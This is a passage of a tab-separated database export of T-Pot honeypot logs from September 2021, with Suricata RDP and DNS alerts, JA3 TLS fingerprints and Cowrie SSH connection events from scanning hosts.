"1", "timestamp": "2021-09-20T11:51:07.023394Z", "@timestamp": "2021-09-20T11:51:07.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32366	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:50:59.658649+03	2021-09-20 15:00:03.390716+03	{"_id": "1gYLA3wBvYTbRNuEiklD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23108, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3215, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1840844284037093, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 33838, "timestamp": "2021-09-20T11:50:59.658649Z", "@timestamp": "2021-09-20T11:50:59.658Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32367	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:59.706803+03	2021-09-20 15:00:03.392718+03	{"_id": "2QYLA3wBvYTbRNuEi0lK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35748, "dest_port": 443, "timestamp": "2021-09-20T11:50:59.706803", "@timestamp": "2021-09-20T11:50:59.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32368	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:51:01.805497+03	2021-09-20 15:00:03.393718+03	{"_id": "4AYLA3wBvYTbRNuEkkkV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:51:01.058659+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 639425967416611, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52869, "dest_port": 3389, "timestamp": "2021-09-20T11:51:01.805497Z", "@timestamp": "2021-09-20T11:51:01.805Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32369	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:51:01.41042+03	2021-09-20 15:00:03.394717+03	{"_id": "4wYLA3wBvYTbRNuEkkkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:51:01.058659+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 639425967416611, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52869, "dest_port": 3389, "timestamp": "2021-09-20T11:51:01.410420Z", "@timestamp": "2021-09-20T11:51:01.410Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32370	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:51:01.805497+03	2021-09-20 15:00:03.396717+03	{"_id": "5AYLA3wBvYTbRNuEkkkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:51:01.058659+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 639425967416611, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52869, "dest_port": 3389, "timestamp": "2021-09-20T11:51:01.805497Z", "@timestamp": "2021-09-20T11:51:01.805Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32371	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:50:59.657381+03	2021-09-20 15:00:03.397718+03	{"_id": "1wYLA3wBvYTbRNuEiklD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23108, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1840844284037093, "@version": "1", "in_iface": "enp5s0", "src_port": 33838, "dest_port": 53, "timestamp": "2021-09-20T11:50:59.657381Z", "@timestamp": "2021-09-20T11:50:59.657Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32372	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:50:59.74732+03	2021-09-20 15:00:03.398717+03	{"_id": "2AYLA3wBvYTbRNuEi0lK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35748, "timestamp": "2021-09-20T11:50:59.747320", "@timestamp": "2021-09-20T11:50:59.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32373	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:51:01.41042+03	2021-09-20 15:00:03.400716+03	{"_id": "2gYLA3wBvYTbRNuEj0kz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 52869, "dest_port": 3389, "timestamp": "2021-09-20T11:51:01.410420", "@timestamp": "2021-09-20T11:51:01.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
44704	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:33:04.532561+03	2021-09-20 16:45:02.009574+03	{"_id": "OAZoA3wBvYTbRNuE_aWe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:33:04.532561Z", "@timestamp": "2021-09-20T13:33:04.532Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32374	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:51:01.469367+03	2021-09-20 15:00:03.401716+03	{"_id": "4QYLA3wBvYTbRNuEkkkV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:51:01.058659+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 639425967416611, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 52869, "timestamp": "2021-09-20T11:51:01.469367Z", "@timestamp": "2021-09-20T11:51:01.469Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
32375	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:51:01.41042+03	2021-09-20 15:00:03.403717+03	{"_id": "4gYLA3wBvYTbRNuEkkkV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:51:01.058659+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 639425967416611, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52869, "dest_port": 3389, "timestamp": "2021-09-20T11:51:01.410420Z", "@timestamp": "2021-09-20T11:51:01.410Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32376	157.240.234.63	109.199.241.180	Suricata	2021-09-20 14:50:54.145841+03	2021-09-20 15:00:03.404717+03	{"_id": "yQYLA3wBvYTbRNuEcknQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:53.873625+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 705538398442649, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52428, "timestamp": "2021-09-20T11:50:54.145841Z", "@timestamp": "2021-09-20T11:50:54.145Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32377	157.240.9.10	109.199.241.180	Suricata	2021-09-20 14:50:57.714702+03	2021-09-20 15:00:03.405717+03	{"_id": "zAYLA3wBvYTbRNuEgklx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:57.714702+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.10", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.10", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1812102362818510, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 41890, "timestamp": "2021-09-20T11:50:57.714702Z", "@timestamp": "2021-09-20T11:50:57.714Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32378	157.240.234.1	109.199.241.180	Suricata	2021-09-20 14:50:58.23422+03	2021-09-20 15:00:03.407717+03	{"_id": "zwYLA3wBvYTbRNuEgklx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:58.196538+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.1", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.1", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 650096813473722, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 51882, "timestamp": "2021-09-20T11:50:58.234220Z", "@timestamp": "2021-09-20T11:50:58.234Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32379	157.240.234.63	109.199.241.180	Suricata	2021-09-20 14:50:53.873625+03	2021-09-20 15:00:03.408717+03	{"_id": "ygYLA3wBvYTbRNuEcknQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:53.873625+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 705538398442649, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52428, "timestamp": "2021-09-20T11:50:53.873625Z", "@timestamp": "2021-09-20T11:50:53.873Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32380	157.240.234.1	109.199.241.180	Suricata	2021-09-20 14:50:58.196538+03	2021-09-20 15:00:03.410717+03	{"_id": "zgYLA3wBvYTbRNuEgklx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:58.196538+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.1", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.1", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 650096813473722, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 51882, "timestamp": "2021-09-20T11:50:58.196538Z", "@timestamp": "2021-09-20T11:50:58.196Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32381	157.240.9.10	109.199.241.180	Suricata	2021-09-20 14:50:57.915694+03	2021-09-20 15:00:03.411717+03	{"_id": "zQYLA3wBvYTbRNuEgklx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:57.714702+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.10", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.10", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1812102362818510, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 41890, "timestamp": "2021-09-20T11:50:57.915694Z", "@timestamp": "2021-09-20T11:50:57.915Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32382	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:07.022362+03	2021-09-20 15:00:03.412717+03	{"_id": "_gYLA3wBvYTbRNuEqEkJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.14.9:43812 (192.168.176.2:22) [session: 6fb2f4cb76a7]", "session": "6fb2f4cb76a7", "@version": "1", "protocol": "ssh", "src_port": 43812, "dest_port": 22, "timestamp": "2021-09-20T11:51:07.022362Z", "@timestamp": "2021-09-20T11:51:07.022Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32383	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:34.131546+03	2021-09-20 15:00:03.413716+03	{"_id": "cAYMA3wBvYTbRNuEEUqW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "81.71.14.9", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5673654079437256, "duplicate": true, "timestamp": "2021-09-20T11:51:34.131546Z", "@timestamp": "2021-09-20T11:51:34.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32386	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:51:34.610111+03	2021-09-20 15:00:03.417716+03	{"_id": "ewYMA3wBvYTbRNuEFEoR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35758, "timestamp": "2021-09-20T11:51:34.610111", "@timestamp": "2021-09-20T11:51:34.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32387	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:51:34.865911+03	2021-09-20 15:00:03.418716+03	{"_id": "fAYMA3wBvYTbRNuEFEoR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": 